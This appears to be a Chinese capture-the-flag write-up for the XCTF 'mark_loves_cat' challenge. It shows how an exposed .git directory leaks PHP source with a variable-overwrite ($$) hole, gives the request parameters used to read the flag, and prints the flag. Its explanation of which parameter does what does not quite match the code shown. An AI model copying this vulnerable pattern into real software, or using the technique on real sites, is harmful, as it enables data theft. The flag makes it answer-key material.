xctf攻防世界mark_loves_cat wp

访问题目地址

扫描发现/.git/返回 403，使用Githack把源码down下来

flag.php
<?php
$flag = file_get_contents('/flag');

index.php
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
 if($_GET['flag'] === $x && $x !== 'flag'){
 exit($handsome);
 }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
 exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
 exit($is);
}



echo "the flag is: ".$flag;

看到了熟悉的$$变量，本题的思路就是用可控变量覆盖一些，变量最终构造出$flag变量：
GET yds=flag POST $flag=flag
这样也满足了第一个 if 的条件，exit 出 flag 的内容

拿到flag
cyberpeace{3b5b4a30d92c8cb486f1182eeddd052c}